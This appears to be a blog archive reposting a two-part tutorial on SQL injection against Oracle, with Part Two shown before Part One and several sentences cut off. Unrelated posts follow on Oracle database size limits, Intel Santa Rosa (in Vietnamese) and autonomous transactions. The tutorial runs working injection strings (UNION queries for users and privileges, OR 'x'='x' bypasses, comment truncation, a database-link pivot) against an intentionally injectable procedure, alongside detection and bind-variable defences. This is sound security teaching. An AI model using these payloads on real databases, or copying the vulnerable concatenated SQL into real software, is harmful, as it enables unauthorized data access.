SQL> exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_
privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select privilege,admin_option,'X' from
user_sys_privs where 'x'='x'
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X
Selecting from the table USER_TAB_PRIVS will give the privileges granted directly to the user on objects. There are many system views that start USER_%, these show objects and privileges that are granted to the current user as well as details about objects owned by the user. For instance, there are 168 views or tables in Oracle 8.1.7, so this gives an indication of the amount of detail that can be learned about the user you are logged in as. These USER_% views do not include all the many privileges and options available to the current user; however, besides those specifically granted, any user also can include all of the objects that have permissions granted to PUBLIC.
PUBLIC is a catch-all that is available to all users in the Oracle database. There is a good set of views, known as the ALL_% views, that is similar in construction to the USER_% views. These include every item available to the current user, including PUBLIC ones. A good place to start is the view ALL_OBJECTS, as it has a similar structure to USER_OBJECTS and will display every object and its type available to the current user. A good query to see all of the objects, their types and owner available would be:
select count(*),object_type,owner from all_objects group by object_type,owner
The V$ views is also a good set of views, provided they are available to the user. These give information about the current instance, performance, parameters, and the like. V$PARAMETER, which gives all of the database instance initialization parameters, including details of the UTL_FILE directories is a good example. V$PROCESS and V$SESSION are another pair of views that will give details of current sessions and processes. These will tell the user who is logged on, where they are logged in from, and what program they are using, etc.
In conclusion to this exploration section it is worth mentioning that because I wanted to make easy examples that anyone with a copy of the Oracle RDBMS could try out, I used a PL/SQL procedure to demonstrate the techniques and obviously I had access to my source code. It made it easy for me to understand exactly the SQL I could send successfully without causing errors.
In the real world, in a Web-based environment, or in a network-based application, the source code would probably not be available. As a result, working out how to get successful SQL to send will probably require trial and error. If error messages are returned to the user either directly from the Oracle RDBMS or from the application, then it is usually possible to work out where to change the SQL. An absence of error messages makes it harder but not impossible. All of the Oracle error messages are quite well documented and are available on-line on a Unix system with the oerr command or with the HTML documentation provided with Oracle CDs on any platform. (Remember anyone can get a copy of Oracle to use to learn the product.) They are also on-line, along with the complete Oracle documentation, at http://tahiti.oracle.com/.
Having knowledge of Oracle and of the schema of the user being used is also a great advantage. Quite obviously, some of this knowledge is not hard to learn, so the lesson is that in case anyone is able to SQL inject into your database then you need to minimize what they can do, see, or access.
Detecting SQL Injection
Oracle is a large product and is applied in many diverse uses, so to say that SQL injection can be detected would be wrong; however, in some cases, it should be possible for the DBA or security admin to spot whether or not this technique is being used. If abuse is thought to be taking place then forensic investigations can be done using the redo logs. A GUI tool called Log Miner is available from Oracle to allow the redo logs to be analysed. However, this has serious restrictions: until version 9i, select statements could not be retrieved. The redo logs allow Oracle to replay all of the events that altered data in the database, this is part of the recovery functionality. It is possible to see all statements and data that has been altered. Two PL/SQL standard packages, DBMS_LOGMNR and DBMS_LOGMNR_D, are available, these packages allow the redo logs to be queried from the command line for all statements processed.
The extensive Oracle audit functionality can be utilized but, again, unless you know what you are looking for, finding evidence of SQL injection taking place could like finding a needle in a haystack. The principle of least privilege should be observed in any Oracle database so that only those privileges that are actually needed are granted to the application database users. This simplifies (minimizes) what can be legally done and, as a result, makes any actions outside the scope of these users easier to spot. For instance, if the application user should have access to seven tables and three procedures and nothing else, then using Oracle audit to record select failures on all other tables would enable an administrator to spot any attempted access to any table outside the applications realm. This can be done, for example, for one table with the following audit command:
SQL> audit select on dbsnmp.customers by access whenever not successful; Audit succeeded.
A simple script can be built to generate the audit statements for the tables needed. There should be no real performance issues with this audit, as no other tables should be accessed by the application. As a result, it should not therefore generate audit. Of course, if someone successfully accesses a table outside the realm, it would not be captured. This is merely intended as a first step.
The same audit principles can be used to audit DDL, inserts and update failures or successes. The new SANS guide (see references) has a whole chapter on audit.
Another idea could be to watch the SQL executed and look for any dodgy SQL. A good script called peep.sq can be used to access the SQL executed from the SGA is one called from http://www.oriole.com/frameindexSA.html, search down the list of free scripts and get it. The script gives the SQL statements in the SGA with the worst performance times. It can be easily modified to remove the execution time restraints and bring back all SQL in the SGA. A script such as this can be scheduled on a regular basis and then the SQL that is returned can be used to guess if any SQL injection has been attempted. I say “guess” because it is virtually impossible to know all legal pieces of SQL an application generates; therefore, the same applies to spotting illegal ones. A good first step would be to identify all statements with “union” included or or statements with ‘x’=’x’ type lines. There could be performance issues with extracting all of the SQL from the SGA regularly!
The best cure of course is prevention!
Protecting against SQL Injection
On the surface, protection against SQL injection appears to be easy to implement but, in fact, it is not as easy as it looks. The solutions fall into two distinct areas:
- Do not allow dynamic SQL that uses concatenation, or at least filter the input values and check for special characters such as quote symbols.
- Use the principle of least privilege and ensure that the users created for the applications have the privileges needed and all extra privileges (such as PUBLIC ones) are not available.
This section cannot go into great detail; such a discussion would constitute an entire article in itself. However, certain basic measures can be taken. These actions fall into two sections:
- Review the application source code. The code can be written in many different languages, such as PHP, JSP, java, PL/SQL VB, etc., so the solutions vary. However, they all follow a similar pattern. Review the source code for dynamic SQL where concatenation is used. Find the call that parses the SQL or executes it. Check back to where values are entered. Ensure that input values are validated and that quotes are matched and metacharacters are checked. Reviewing source code is a task that is specific to the language used.
- Secure the database and ensure that all excess privileges are revoked.
Some other simple tips to follow include:
- If possible, do not use dynamic PL/SQL. The potential for damage is much greater than for dynamic SQL, as then there is scope to execute any SQL, DDL, PL/SQL etc.
- If dynamic PL/SQL is necessary then use
bindvariables. - If PL/SQL is used use AUTHID CURRENT_USER so that the PL/SQL runs as the logged in user and not the creator of the procedure, function or package.
- If concatenation is necessary then use numeric values for the concatenation part. This way strings cannot be passed in to add SQL.
- If concatenation is necessary then check the input for malicious code, i.e. check for union in the string passed in or metacharacters such as quotes.
- For dynamic SQL if it is necessary use
bindvariables. An example is shown below:
We first need to alter our simple procedure to allow the dynamic part passed in to use a bind variable. This is shown here:
create or replace procedure get_cust_bind (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname=:surname';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt using lv_surname;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
First we execute with a genuine value, in this case “Clark”, to show that the correct records are returned. We then we try to SQL inject this procedure and find it doesn’t work:
SQL> exec get_cust_bind('Clark');
debug:select customer_phone from customers where customer_surname=:surname
::999444888
::999777888
PL/SQL procedure successfully completed.
SQL> exec get_cust_bind('x'' union select username from all_users where ''x''=''
x');
debug:select customer_phone from customers where customer_surname=:surname
Some more pointers:
- Encrypt sensitive data so that it cannot be viewed.
- Revoke all PUBLIC privileges where possible from the database
- Do not allow access to UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP or any other standard or application packages that allow access to the O/S.
- Change database default passwords.
- Run the listener as a non-privileged user.
- Ensure that minimum privileges are granted to application users.
- Restrict PL/SQL packages that can be accessed from apache.
- Remove all example scripts and programs from the Oracle install.
Final thoughts
I hope that this article has given an overview of some of the possibilities of SQL injecting Oracle and done so with simple examples that most readers can try. Again, SQL injection is a relatively simple technique and on the surface protecting against it should be fairly simple; however, auditing all of the source code and protecting dynamic input is not trivial, neither is reducing the permissions of all applications users in the database itself. Be vigilant, grant what is needed, and try and reduce dynamic SQL to the minimum.
SQL Injection and Oracle, Part One(Pete Finnigan) June 13, 2008
Posted by haind in oracle.add a comment
SQL Injection and Oracle, Part One
2002-11-21
| SQL Injection and Oracle, Part One by Pete Finnigan last updated November 21, 2002 |
||
|
SQL injection techniques are an increasingly dangerous threat to the security of information stored upon Oracle Databases. These techniques are being discussed with greater regularity on security mailing lists, forums, and at conferences. There have been many good papers written about SQL Injection and a few about the security of Oracle databases and software but not many that focus on SQL injection and Oracle software. This is the first article in a two-part series that will examine SQL injection attacks against Oracle databases. The objective of this series is to introduce Oracle users to some of the dangers of SQL injection and to suggest some simple ways of protecting against these types of attack. Oracle is a huge product and SQL injection can be applied to many of its modules, languages and APIs, so this paper is intended to be an overview or introduction to the subject. This two-part series is not intended as a detailed treatise of how to SQL inject an Oracle database, nor is it intended as a detailed discussion on the finer points of the technique in general. (Details of SQL injection techniques have been covered admirably in the past for other languages and databases, particularly by Rain Forest Puppy who pioneered the subject. Some of these papers are included in the reference section at the end of this paper.) Rather, I have designed this paper so that as many readers as possible can try out the examples. To achieve this I have used a PL/SQL procedure that uses dynamic SQL to demonstrate the techniques of SQL injection from the ubiquitous SQL*Plus. Prior to commencing our discussion, it may be useful for readers to know that all of the code from this paper is available from the author’s Web site at http://www.petefinnigan.com from the scripts menu – SQL and PL/SQL option.. What is SQL Injection SQL Injection is a way to attack the data in a database through a firewall protecting it. It is a method by which the parameters of a Web-based application are modified in order to change the SQL statements that are passed to a database to return data. For example, by adding a single quote (‘) to the parameters, it is possible to cause a second query to be executed with the first. An attack against a database using SQL Injection could be motivated by two primary objectives:
There are many ways to use this technique on an Oracle system. This depends upon the language used or the API. The following are some languages, APIs and tools that can access an Oracle database and be part of a Web-based application.
Any of the above applications, tools, and products could be used as a base from which to SQL inject an Oracle database. A few simple preconditions need to be in place first though. First and foremost amongst these is that dynamic SQL must be used in the application, tool, or product, otherwise SQL Injection is not possible. The final important point not usually mentioned in discussions about SQL injection against any database including Oracle is that SQL injection is not just a Web-based problem. As is implied in the preceding paragraph, any application that allows a user to enter data that may eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected. Of course, Web-based applications present the greatest risk, as anyone with a browser and an Internet connection can potentially access data they should not. While second article of this series will include a much more in-depth discussion of how to protect against SQL injection attacks, there are a couple of brief notes that should be mentioned in this introductory section. Data held in Oracle databases should be protected from employees and others who have network access to applications that maintain that data. Those employees could be malicious or may simply want to read data they are not authorized to read. Readers should keep in mind that most threats to data held within databases come from authorized users. Protecting against SQL Injection on Oracle-based systems is simple in principle and includes two basic stages. These are:
The “Protection” section, which will be included in the second part of this series, will discuss details of how to apply some of these ideas specifically to Oracle-based applications. How Can Oracle be Abused Oracle is like any other database product and, as a result, is vulnerable to SQL injection attacks. While Oracle fairs slightly better than some of the others, the following abuses can be inflicted on an Oracle database:
On the other hand, the following abuses are not possible:
Some Specific Examples Web-based applications constitute the worst threat of SQL injection. These can be written using JSP, ASP, or many of the other languages listed above. Some would argue that SQL injection is only an issue for Web-based applications and at this time this is probably true, as SQL injection is not a particularly well-established threat, especially with Oracle. To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple PL/SQL procedure that displays the phone number of customers from a hypothetical customer table in a database. As stated in the introduction, it is possible to inject into any piece of SQL that is dynamically built at run time where the input data is not filtered or checked, so it is possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the samples, as no special tools are required other than to have an Oracle database greater than 8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-based SQL injection except that it is local and not remote, readers should bear this in mind while reading through this paper. Also, because of this approach we do not use any character encoding techniques to pass special characters or metacharacters to the database server from a Web browser. The example table structure used is: SQL> desc customers Name Null? Type ----------------------------------------- -------- ---------------------------- CUSTOMER_FORNAME VARCHAR2(30) CUSTOMER_SURNAME VARCHAR2(30) CUSTOMER_PHONE VARCHAR2(30) CUSTOMER_FAX VARCHAR2(30) CUSTOMER_TYPE NUMBER(10) The table has been loaded with three records as follows: SQL> select * from customers; CUSTOMER_FORNAME CUSTOMER_SURNAME ------------------------------ ------------------------------ CUSTOMER_PHONE CUSTOMER_FAX CUSTOMER_TYPE ------------------------------ ------------------------------ ------------- Fred Clark 999444888 999444889 3 Bill Jones 999555888 999555889 2 Jim Clark 999777888 999777889 1 The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege: create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||'''';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
end get_cust;
/
It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure: SQL> exec get_cust('x'' select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended
The procedure expects a surname of a customer and should build a statement of the form: select customer_phone from customers where customer_surname='Jones' As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next: SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character
Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table: SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888
The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance. The next example discusses truncating the rest of a select * from appusers where username=’someuser’ and password=’somecleverpassword’ To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
::999444888
::999555888
::999777888
Next, the procedure has been modified to extend the SQL used so that there is a second part of the create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):='select customer_phone '||
'from customers '||
'where customer_surname='''||
lv_surname||''' and customer_type=1';
begin
dbms_output.put_line('debug:'||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line('::'||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
This is to demonstrate the use of the “- -“ comment characters to truncate the end of a SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888
Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the All of the above examples show select statements being injected with extra SQL. The same principles also apply to The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows: SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in('PACKAGE','FUNCTION','PROCEDURE');
OWNER OBJECT_TYPE OBJECT_NAME
--------------- ------------------------------ ------------------------------
SYS FUNCTION CLIENT_IP_ADDRESS
SYS FUNCTION DATABASE_NAME
SYS FUNCTION DBJ_LONG_NAME
SYS FUNCTION DBJ_SHORT_NAME
SYS PACKAGE DBMSOBJG
…
CTXSYS PACKAGE DR_DEF
CTXSYS PROCEDURE SYNCRN
391 rows selected.
Here is an example that calls a built in function supplied with Oracle. The function (SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it illustrates the principle. SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP
The functions or procedures that can be called from SQL are quite limited: the function must not alter the database state or package state if called remotely, and the function cannot alter package variables if it is called in a To SQL inject and use PL/SQL packages, procedure or functions really requires a case of dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same manner as described above, the same techniques can be used to insert calls to standard PL/SQL packages on any PL/SQL packages or functions that exist in the schema. If any database links exist from the database being attacked to any other database in the organisation, those links can also be utilized in SQL injection attempts. This allows an attack through the firewall to a database that is potentially not even accessible from the Internet! Here is a simple example using our PL/SQL procedure to read the system date from another database on my network. SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02
Conclusion This concludes the first instalment in our two-part series on SQL injection and Oracle database software. This article has offered a brief overview of SQL injection, as well as some examples of how this technique may be employed against Oracle software. The next part will cover detecting SQL injection and protecting against SQL injection. Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is currently working in the UK financial sector and has recently completed the new Oracle security step-by-step guide for the SANS institute. Pete has many years of development and administration experience in many languages. Pete is regarded as one of the worlds leading experts on Oracle security. Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the SANS Institute. |
||
Relevant Links
All of the code from this paper is available from the author’s Web site from the scripts menu – SQL and PL/SQL option.<!–
www.petefinnigan.com Protecting Oracle Databases Whitepaper Hackproofing Oracle Application Servers RFPlutonium to fuel your PHP-Nuke NT Web Technologies Vulnerabilities ——————–More————————
|
Maximum Oracle Database Size. May 19, 2008
Posted by haind in oracle.add a comment
Maximum Oracle Database Size.
(From http://arjudba.blogspot.com/2008/04/maximum-oracle-database-size.html)
An Oracle Database can be logically divided into tablespaces. Tablespaces can be two types named as 1) Smallfile Tablespace , 2) Bigfile Tablespace.
The traditional tablespace is referred to as a smallfile tablespace (SFT). A smallfile tablespace contains multiple, relatively small files.
A bigfile tablespace (BFT) is a tablespace containing a single file that can have a very large size.The BFT extended the maximum size of tablespace and database.
A SFT can contain 1022 datafile each of which can contain power(2,22) blocks. while a BFT can contain only one datafile which can contain power(2,32) blocks.
The maximum datafile size is calculated by,
maximum datafile size=db_blcok_size*maximum number of blocks.
In database db_block_size can have 2K, 4K,8K,16K,32K.
In a database there can have maximum 65533 data files.
So,
maximum database size=maximum datafile size*maximum datafile can be in a database.
If we consider highest database block (i.e 32K) then in SFT,
maximum datafile size=power(2,22)*32/1024/1024 G=128G.
So, if we use SFT then,
maximum database size= 128*65533 G=8388224 G;
Now consider about BFT.Here,
maximum datafile size=power(2,32)*32/1024/1024 G=131072 G.
and,
maximum database size=131072*65533 G=8589541376 G.
As you can see, with the new BFT addressing scheme, Oracle 10g can contain astronomical amounts of data within a single databas
Get all oracle packages source to text file. April 22, 2008
Posted by haind in oracle.add a comment
Done!
Intel Santa Rosa April 21, 2008
Posted by haind in Intel chipset.add a comment
Để nhận biết máy tính của mình có dựa trên công nghệ Santa rosa của Intel không thì kiểm tra như sau:
Santa rosa có 2 công nghệ là centrino duo và centrino pro.
Centrino duo thỏa mãn các đệu kiện :
1, Cpu: BXL core 2duo có FSB 800Mhz(có tên mã là Merom)
2, Chipset: intel GM965 Express chipset,intel PM965 Express chipset.
3,WireLess:intel Next-Gen wireless-N,intel Pro/wireless 3945ABG Network.
Centrino Pro thỏa mãn các điệu kiện:
1,Cpu: BXL core 2duo có FSB 800Mhz (có tên mã là Merom).
2,Chipset:intel GM965,PM965 Express chipset.
3,WLan :intel 82566 Family Giabit ethernet controllers.
4,Wireless:intel Next-Gen wireless-N,
Ngoài ra còn có thêm intel Turbo Memmory.
(Tham khảo tại http://www.ddth.com/showthread.php?t=152493)
AUTONOMOUS TRANSACTION April 2, 2008
Posted by haind in oracle.add a comment
AUTONOMOUS TRANSACTION
(From http://www.expertsharing.com/2008/03/13/autonomous-transaction/)
Until Oracle 8i any Oracle session can handle only a single transaction at any given point of time. If a transaction “A” is started, no other transaction can be executed until the transaction “A” is commited or Rollbacked. But by the Autonomous transaction feature provided by Oracle, another transaction “B” can be completed suspending the Transaction “A” and resuming it after the completion of transaction “B”.
Transaction “A” can be termed as main transaction. Transaction “B” can be termed as Autonomous transaction.
An Autonomous transaction is executed as independent and out of the scope of main transaction.An autonomous transaction is a transaction that is started with in context of another transaction. An autonomous transaction can be committed or rolled back regardless of the main transaction.
An Autonomous transaction has to be defined in a Pl/sql block other than the block where main transaction is executed. You can define any Pl/sql block like anonymous block, procedure, function, package procedure, package function, database trigger as an autonomous transaction.
To define a Pl/sql block as an autonomous transaction , you can use the statement below in the declaration section of a PL/SQL block.
PRAGMA AUTONOMOUS_TRANSACTION;
You can put the autonomous transaction pragma anywhere in the declaration section of PL/SQL block. The above PRAGMA directs the pl/sql compiler to consider this block as an AUTONOMOUS TRANSACTION block.
Application of Autonomous transaction:
1. Autonomous transaction can be used as a logging mechanism to log the transaction specific data.
2. Autonomous transaction can be used to record the transaction state for a successful transaction or a failed transaction.
3.To implement commit and rollback mechanisms in database triggers.
4.Autonomous transaction can be used to develop standalone units of work. So Autonomous transaction can be helpful in building reusable components or reusable Modules.
Rules and Restrictions of using Autonomous transaction:
1. Only top level anonymous blocks can be declared as Autonomous transaction.
An example of Nested anonymous block declared as Autonomous transaction giving an error.
2. A deadlock can occur whenever an autonomous transaction tries to access a resourced which is held by the main transaction.
Ex:
CREATE OR REPLACE PROCEDURE
update_salary (dept_in IN NUMBER)
IS
PRAGMA AUTONOMOUS_TRANSACTION;
CURSOR myemps IS
SELECT empno FROM emp
WHERE deptno = dept_in
FOR UPDATE NOWAIT;
BEGIN
FOR rec IN myemps
LOOP
UPDATE emp SET sal = sal * 2
WHERE empno = rec.empno;
END LOOP;
COMMIT;
END;
/
BEGIN
UPDATE emp SET sal = sal * 2;
update_salary (10);
END;
/
his results in the following error:
ERROR at line 1:
ORA-00054: resource busy and acquire with NOWAIT specified
3. You cannot declare an entire package as an Autonomous with Single Pragma.
CREATE OR REPLACE package exp3 as
PRAGMA AUTONOMOUS_TRANSACTION;
PROCEDURE X;
PROCEDURE Y;
END ;
/
4. Every Autonomous transaction should end with an either commit or ROLLBACK statements.If an autonomous block ends with out completing a transaction ORA-6519 is raised.
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
insert into tx_tab(num) values(2);
end;
/Error at line 1:
ORA-06519 : Active autonomous transaction detected and rolled back.
————More from PL/SQL best practice—————–
Doing Independent Units of Work with Autonomous Transactions
An autonomous transaction is an independent transaction started by another
transaction, the main transaction. Autonomous transactions do SQL operations and
commit or roll back, without committing or rolling back the main transaction. For
example, if you write auditing data to a log table, you want to commit the audit data
even if the operation you are auditing later fails; if something goes wrong recording
the audit data, you do not want the main operation to be rolled back.
Figure 6–1 shows how control flows from the main transaction (MT) to an
autonomous transaction (AT) and back again.
Figure 6–1 Transaction Control Flow
PROCEDURE proc1 IS
emp_id NUMBER;
BEGIN
emp_id := 7788;
INSERT … MT begins
SELECT …
proc2;
DELETE …
COMMIT; MT ends
END;
PROCEDURE proc2 IS
PRAGMA AUTON…
dept_id NUMBER;
BEGIN MT suspends
dept_id := 20;
UPDATE … AT begins
INSERT …
UPDATE …
COMMIT; AT ends
END; MT resumes
Advantages of Autonomous Transactions
Once started, an autonomous transaction is fully independent. It shares no locks,
resources, or commit-dependencies with the main transaction. You can log events,
increment retry counters, and so on, even if the main transaction rolls back.
More important, autonomous transactions help you build modular, reusable software
components. You can encapsulate autonomous transactions within stored procedures.
A calling application does not need to know whether operations done by that stored
procedure succeeded or failed.
Defining Autonomous Transactions
To define autonomous transactions, you use the pragma (compiler directive)
AUTONOMOUS_TRANSACTION. The pragma instructs the PL/SQL compiler to mark a
routine as autonomous (independent). In this context, the term routine includes
■ Top-level (not nested) anonymous PL/SQL blocks
■ Local, standalone, and packaged functions and procedures
■ Methods of a SQL object type
■ Database triggers
You can code the pragma anywhere in the declarative section of a routine. But, for
readability, code the pragma at the top of the section. The syntax follows:
PROCEDURE proc1 IS
emp_id NUMBER;
BEGIN
emp_id := 7788;
INSERT … MT begins
SELECT …
proc2;
DELETE …
COMMIT; MT ends
END;
PROCEDURE proc2 IS
PRAGMA AUTON…
dept_id NUMBER;
BEGIN MT suspends
dept_id := 20;
UPDATE … AT begins
INSERT …
UPDATE …
COMMIT; AT ends
END; MT resumes
Main Transaction Autonomous Transaction
Doing Independent Units of Work with Autonomous Transactions
6-36 PL/SQL User’s Guide and Reference
PRAGMA AUTONOMOUS_TRANSACTION;
In the following example, you mark a packaged function as autonomous:
CREATE PACKAGE banking AS
…
FUNCTION balance (acct_id INTEGER) RETURN REAL;
END banking;
CREATE PACKAGE BODY banking AS
…
FUNCTION balance (acct_id INTEGER) RETURN REAL IS
PRAGMA AUTONOMOUS_TRANSACTION;
my_bal REAL;
BEGIN
…
END;
END banking;
Restriction: You cannot use the pragma to mark all subprograms in a package (or all
methods in an object type) as autonomous. Only individual routines can be marked
autonomous.
The next example marks a standalone procedure as autonomous:
CREATE PROCEDURE close_account (acct_id INTEGER, OUT balance) AS
PRAGMA AUTONOMOUS_TRANSACTION;
my_bal REAL;
BEGIN … END;
The following example marks a PL/SQL block as autonomous:
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
my_empno NUMBER(4);
BEGIN … END;
Restriction: You cannot mark a nested PL/SQL block as autonomous.
The example below marks a database trigger as autonomous. Unlike regular triggers,
autonomous triggers can contain transaction control statements such as COMMIT and
ROLLBACK.
CREATE TRIGGER parts_trigger
BEFORE INSERT ON parts FOR EACH ROW
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);
COMMIT; — allowed only in autonomous triggers
END;
Comparison of Autonomous Transactions and Nested Transactions
Although an autonomous transaction is started by another transaction, it is not a
nested transaction:
■ It does not share transactional resources (such as locks) with the main transaction.
■ It does not depend on the main transaction. For example, if the main transaction
rolls back, nested transactions roll back, but autonomous transactions do not.
Doing Independent Units of Work with Autonomous Transactions
Performing SQL Operations from PL/SQL 6-37
■ Its committed changes are visible to other transactions immediately. (A nested
transaction’s committed changes are not visible to other transactions until the
main transaction commits.)
■ Exceptions raised in an autonomous transaction cause a transaction-level rollback,
not a statement-level rollback.
Transaction Context
The main transaction shares its context with nested routines, but not with autonomous
transactions. When one autonomous routine calls another (or itself recursively), the
routines share no transaction context. When an autonomous routine calls a
non-autonomous routine, the routines share the same transaction context.
Transaction Visibility
Changes made by an autonomous transaction become visible to other transactions
when the autonomous transaction commits. These changes become visible to the main
transaction when it resumes, if its isolation level is set to READ COMMITTED (the
default).
If you set the isolation level of the main transaction to SERIALIZABLE, changes made
by its autonomous transactions are not visible to the main transaction when it resumes:
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
Controlling Autonomous Transactions
The first SQL statement in an autonomous routine begins a transaction. When one
transaction ends, the next SQL statement begins another transaction. All SQL
statements executed since the last commit or rollback make up the current transaction.
To control autonomous transactions, use the following statements, which apply only to
the current (active) transaction:
■ COMMIT
■ ROLLBACK [TO savepoint_name]
■ SAVEPOINT savepoint_name
■ SET TRANSACTION
Note: Transaction properties set in the main transaction apply only to that transaction,
not to its autonomous transactions, and vice versa.
Entering and Exiting
When you enter the executable section of an autonomous routine, the main transaction
suspends. When you exit the routine, the main transaction resumes.
To exit normally, you must explicitly commit or roll back all autonomous transactions.
If the routine (or any routine called by it) has pending transactions, an exception is
raised, and the pending transactions are rolled back.
Committing and Rolling Back
COMMIT and ROLLBACK end the active autonomous transaction but do not exit the
autonomous routine. When one transaction ends, the next SQL statement begins
another transaction. A single autonomous routine could contain several autonomous
transactions, if it issued several COMMIT statements.
Doing Independent Units of Work with Autonomous Transactions
6-38 PL/SQL User’s Guide and Reference
Using Savepoints
The scope of a savepoint is the transaction in which it is defined. Savepoints defined in
the main transaction are unrelated to savepoints defined in its autonomous
transactions. In fact, the main transaction and an autonomous transaction can use the
same savepoint names.
You can roll back only to savepoints marked in the current transaction. In an
autonomous transaction, you cannot roll back to a savepoint marked in the main
transaction. To do so, you must resume the main transaction by exiting the
autonomous routine.
When in the main transaction, rolling back to a savepoint marked before you started
an autonomous transaction does not roll back the autonomous transaction. Remember,
autonomous transactions are fully independent of the main transaction.
Avoiding Errors with Autonomous Transactions
To avoid some common errors, keep the following points in mind:
■ If an autonomous transaction attempts to access a resource held by the main
transaction, a deadlock can occur. Oracle raises an exception in the autonomous
transaction, which is rolled back if the exception goes unhandled.
■ The Oracle initialization parameter TRANSACTIONS specifies the maximum
number of concurrent transactions. That number might be exceeded because an
autonomous transaction runs concurrently with the main transaction.
■ If you try to exit an active autonomous transaction without committing or rolling
back, Oracle raises an exception. If the exception goes unhandled, the transaction
is rolled back.
Using Autonomous Triggers
